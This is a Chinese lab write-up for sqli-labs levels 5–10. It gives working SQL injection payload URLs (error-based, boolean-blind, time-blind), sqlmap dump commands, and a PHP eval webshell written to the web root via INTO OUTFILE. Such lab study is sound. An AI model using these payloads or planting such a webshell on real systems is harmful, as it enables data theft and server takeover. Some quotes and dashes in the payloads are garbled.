前言:可以设置 sql语句显示在网页 方便对照学习 设置方法参考我的另一篇博客文章最后-tip小技巧
https://blog.csdn.net/weixin_44286136/article/details/110822914
需要了解sql盲注各种函数知识的看我的另一篇博客 sql注入需要了解的函数知识
Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
1.测试发现,当输入?id=2时页面显示正常
http://127.0.0.1/sqli-labs-master/Less-5/?id=2
当输入?id=222时页面显示不正常
http://127.0.0.1/sqli-labs-master/Less-5/?id=222
页面没有显示位。无法使用联合查询注入 union
2.尝试在URL中输入 ?id=2’ 页面出现错误语句如下
http://127.0.0.1/sqli-labs-master/Less-5/?id=2’
页面出现SQL语句报错,在这里我们就可以使用一种新的注入方式:报错注入
三种 常用的报错注入 通过ExtractValue 报错; 通过updatexml 报错;通过floor 报错
(1)通过floor报错
and (select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符
eg:
http://127.0.0.1/sqli-labs-master/Less-5/?id=2' and (select 1 from (select count(*),concat(((select concat(schema_name,';') from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
(2)通过updatexml报错
and updatexml(1, payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
这个函数 是用来 更新xml数据的,但是我们非法传参,使它故意报错,执行我们的sql语句,0x7e 用来区分数据
eg:
http://127.0.0.1/sqli-labs-master/Less-5/?id=2' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
(3)通过ExtractValue报错
and extractvalue(1,payload)
输出字符有长度限制,最长32位。
payload即我们要输入的sql查询语句
可以理解为,让后台xml故意报错
0x7e的具体含义:~
利用这种方式,对后台进行一个排序,指定第一个参数为null,让他故意报错,
将第二个参数中的语句带入数据库执行,最后报错显示执行的结果
eg:
http://127.0.0.1/sqli-labs-master/Less-5/?id=2' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
这里使用updatexml报错注入 (select database()) 的位置放 查询语句
注意:updatexml 括号里放几个数据 取决于 先用2’ order by 3–+ 测试过有几列了,因为onion连接 前后要一致
http://127.0.0.1/sqli-labs-master/Less-5/?id=2’ union select updatexml(1,concat(0x7e,(select database()),0x7e),1)–+
http://127.0.0.1/sqli-labs-master/Less-5/?id=2’ union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),1)–+
http://127.0.0.1/sqli-labs-master/Less-5/?id=2’ union select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’),0x7e),1)–+
http://127.0.0.1/sqli-labs-master/Less-5/?id=2’ union select updatexml(1,concat(0x7e,(select group_concat(username,’~’,password) from security.users),0x7e),1)–+
到这一步看,报的信息肯定不完全,接着我使用 limit 0,1 方法来一个个输出
第一组 username,password
http://127.0.0.1/sqli-labs-master/Less-5/?id=2' union select updatexml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),1)--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=2' union select updatexml(1,concat(0x7e,(select password from security.users limit 0,1),0x7e),1)--+
第二组 username,password
http://127.0.0.1/sqli-labs-master/Less-5/?id=2' union select updatexml(1,concat(0x7e,(select username from security.users limit 1,1),0x7e),1)--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=2' union select updatexml(1,concat(0x7e,(select password from security.users limit 1,1),0x7e),1)--+
类推,就全部出来了
注意:如果那种大的数据库,值很多的,推荐使用 burpsuite 的intruder 模块来进行处理
附一个 sqlmap 的方法
这里介绍 sqlmap 爆当前数据库
sqlmap -u “http://127.0.0.1/sqli-labs-master/Less-5/?id=2” --current–db -batch
然后以此爆表
sqlmap -u “http://127.0.0.1/sqli-labs-master/Less-5/?id=2” -D security --tables --batch
爆字段
sqlmap -u “http://127.0.0.1/sqli-labs-master/Less-5/?id=2” -D security -T users --columns --batch
爆字段值
sqlmap -u “http://127.0.0.1/sqli-labs-master/Less-5/?id=2” -D security -T users -C username,password --dump --batch
首先 http://127.0.0.1/sqli-labs-master/Less-5/?id=2’ and length(database()) =8 --+
判断 数据库名称 是几位字符(利用length函数的时候可以灵活使用大于小于符号)
然后爆库名
http://127.0.0.1/sqli-labs-master/Less-5/?id=2’ and ascii(substr(database(),1,1)) > 156–+ 此时没有回显
Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
与第5关类似 只不过这一关使用的是" "的方式闭合字符串
我们只需要将?id=2’ 改为 ?id=2"即可
其余过程,请参考第五关
Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)
判断注入类型
输入 ?id=1’))–+ 回显正常:
http://127.0.0.1/sqli-labs-master/Less-7/?id=1’))–+
所以 这是 带双括号的单引号注入
然后 看标题 是要用Use outfile
补充:
因为phpstudy环境刚装好 ,mysql 没有文件权限 比如 写入权限 into outfile 等
show variables like '%secure%'; 查看 secure_file_priv 当前的值 ,如果 显示为 NULL,则需要
打开F:\phpStudy\PHPTutorial\MySQL\my.ini文件(根据实际自己安装目录),
在其中加上一句:secure_file_priv="F:\phpStudy\PHPTutorial\WWW\"
再重启mysql服务即可
一句话木马:php版本:<?php @eval($_POST["admin"])?> 其中admin是密码
http://127.0.0.1/sqli-labs-master/Less-7/?id=1’)) union select 1,2,’<?php @eval($_POST["admin"])?>’ into outfile “F:\phpStudy\PHPTutorial\WWW\hello.php” --+
注意:反斜杠“\”是Windows系统文件目录结构使用的分隔符,如:F:\phpStudy。只有 windows 支持反斜杠路径符 \ ,而所有系统支持 /
但是我们还应该知道 \ 也是转义字符,在url中他会当成转义字符处理,所以我们用 \ 对反斜杠进行转义F:\phpStudy,那么结果就变成了一个反斜杠
虽然还是报错,但是别着急 去刚刚指定的那个文件夹下看看
发现文件已经成功创建了,一句话木马也成功写入
然后中国菜刀连接,密码admin
拿到shell!搞定
Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
页面会根据注入信息来显示不同的状态,一般分为两种,一种是成功的状态,另一种是失败的状态
成功 有 you are in … 在页面显示 否则则为空
在这里我使用length函数 猜 数据库名称 长度
首先 http://127.0.0.1/sqli-labs-master/Less-8/?id=2’ and length(database()) =8 --+
判断 数据库名称 是几位字符(利用length函数的时候可以灵活使用大于小于符号)
然后灵活运用各种函数 如 left 函数 substr函数、ascii函数 猜数据库名
首先介绍一下 left 函数猜解数据库名字 substr函数、ascii函数 在后面
http://127.0.0.1/sqli-labs-master/Less-8/?id=2’ and left(database(),1)=‘a’–+
页面 you are in 没了 说明数据库第一个字母不是 a 慢慢试 直到 s 回显正常 说明 第一个字母为s
http://127.0.0.1/sqli-labs-master/Less-8/?id=2’ and left(database(),1)=‘s’–+
http://127.0.0.1/sqli-labs-master/Less-5/?id=2’ and left(database(),2)=‘sa’–+ 然后这样第二个,第…个慢慢试 直到出结果
或者 使用substr、ASCII函数来 猜数据库
我这里 主要后面用的这种方法 如下
http://127.0.0.1/sqli-labs-master/Less-8/?id=2’ and ascii(substr(database(),1,1)) > 1–+ 正常回显返回 you are in … 代表执行成功
慢慢猜 使用二分法 直到 范围越来越小 直到
http://127.0.0.1/sqli-labs-master/Less-8/?id=2' and ascii(substr(database(),1,1)) > 113--+ 回显正常
http://127.0.0.1/sqli-labs-master/Less-8/?id=2' and ascii(substr(database(),1,1)) > 116--+ 回显正常
再
http://127.0.0.1/sqli-labs-master/Less-8/?id=2' and ascii(substr(database(),1,1)) = 113--+ 回显不正常
http://127.0.0.1/sqli-labs-master/Less-8/?id=2' and ascii(substr(database(),1,1)) = 115--+ 回显正常
即 第一个字母 ascii码就是 115 对照ascii编码表 即为s 以此类推 直到猜出数据库名字
! 如果上面 这个 没有 反应 有错误 就是 因为 database() 返回为空 就换成下面这样
select schema_name from information_schema.schemata limit 1,1
升级版完整流程(简略介绍 纯手工注入):
首先 http://127.0.0.1/sqli-labs-master/Less-8/?id=2’ and length(database()) =8 --+ 判断 数据库名称 长度
然后 :
- http://127.0.0.1/sqli-labs-master/Less-8/?id=2’ and ascii(substr((database()),1,1)) > 1–+ 通过二分法拆解 得到 数据库全名 security
- http://127.0.0.1/sqli-labs-master/Less-8/?id=2’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 1,1),1,1)) > 1–+ 再次通过二分法得到数据库 security 下的所有表
- http://127.0.0.1/sqli-labs-master/Less-8/?id=2’ and ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1)) > 1–+ 再次通过二分法得到数据库 security 下的users 表 中的所有字段
- http://127.0.0.1/sqli-labs-master/Less-8/?id=2’ and ascii(substr((select username from security.users limit 1,1),1,1)) > 1–+
http://127.0.0.1/sqli-labs-master/Less-8/?id=2’ and ascii(substr((select password from security.users limit 1,1),1,1)) > 1–+ 继续拆解即可得到需要的 字段 值
Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
只能用时间盲注 报错注入和基于布尔的注入没法使用
原因:
127.0.0.1/sqli-labs-master/Less-9/?id=2’ and length(database()) =8–+ 返回 you are in…
127.0.0.1/sqli-labs-master/Less-9/?id=2’ and length(database()) =9–+ 也返回 you are in…
查到了则打印 You are in… 没查到也打印 You are in…
就没法通过报错判断了 所以这里报错注入和基于布尔的注入没法使用
所以我们考虑基于时间的注入:
介绍一种新的盲注方式 时间盲注
时间盲注又称时间延迟注入 使用 了sleep函数和 if函数:
sleep(s) 静止s秒、数字类型,可自定义
if(condition,A,B) 如果条件为 true,则执行语句A,否则 执行B
这里 可以看这里 加载中 大概的 时间
- http://127.0.0.1/sqli-labs-master/Less-9/?id=2’ and sleep(5) --+
使用延迟的方法判断是否存在漏洞 当然判断是否存在诸如漏洞的方法很多 - http://127.0.0.1/sqli-labs-master/Less-9/?id=2’ and if(length(database())=8,1,sleep(5)) --+
意思是如果数据库长度为8,直接返回结果,如果不是延迟5s返回;
所以当为8时很快加载,而为其他值的时候加载的比较慢(5s)左右,这就说明此时数据库长度就是8(security) - http://127.0.0.1/sqli-labs-master/Less-9/?id=2’ and if(ascii(substr(database(),1,1)) > 113,1,sleep(5)) --+
如果当前数据库第一个字母的ascii值大于113时候直接返回5s,否则执行5s - 其余爆表等等类同 就是多了sleep函数 判断状态
Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
和第九关 不一样的是 使用了双引号 " " 闭合
其他一样